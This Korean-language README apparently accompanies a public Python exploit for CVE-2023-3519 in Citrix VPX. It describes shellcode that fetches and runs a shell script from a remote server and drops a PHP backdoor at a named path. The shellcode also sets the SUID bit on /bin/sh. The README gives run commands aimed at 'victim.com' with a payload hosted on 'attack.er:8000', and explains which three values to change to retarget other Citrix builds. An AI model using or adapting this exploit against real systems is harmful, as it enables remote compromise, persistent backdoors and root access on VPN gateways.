passwa11/cve-2023-3519CVE-2023-3519를 대상으로 하는 Python 기반 익스플로잇으로, 사용자 정의 NASM 셸코드, PHP 백도어 배포 및 SUID 권한 상승을 포함합니다.
이 익스플로잇은 Citrix VPX 13.1-48.47의 주소 및 셸코드를 사용합니다. 전체 분석 글은 여기를 클릭하세요.
셸코드를 빌드하려면 NASM이 필요합니다.
$ sudo apt install nasm
포함된 셸코드는 원격 http(s) 서버에서 셸 스크립트를 다운로드하여 실행합니다. 스크립트는 대상 호스트, 대상 포트, 셸 스크립트 페이로드 URL 등 3개의 인자를 받습니다. 이 저장소에는 id와 uname -a를 실행한 후 스스로 정리하는 예제 페이로드가 포함되어 있습니다.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
URL은 셸코드 버퍼에 들어갈 수 있을 만큼 짧아야 하며, 너무 길면 경고가 표시됩니다.
셸코드는 /var/netscaler/logon/a.php에 PHP 백도어를 생성하고 /bin/sh에 SUID 비트를 설정합니다. 포함된 sh 페이로드는 이러한 아티팩트를 자동으로 정리하는 예를 보여줍니다. 또한 셸코드는 파일 디스크립터를 닫지 않으므로 과도하게 반복해서 익스플로잇할 경우 리소스 고갈이 발생할 수 있습니다.
FreeBSD 기반 Citrix 대상의 경우 저장된 반환 포인터의 오프셋, jmp rsp ROP 가젯(또는 push rsp; ret;과 같은 동등한 것), 충돌을 피하기 위해 점프할 주소 등 3가지 값만 찾으면 됩니다. 이러한 매개변수는 모두 cve-2023-3519.py 상단 근처에 하드코딩되어 있습니다.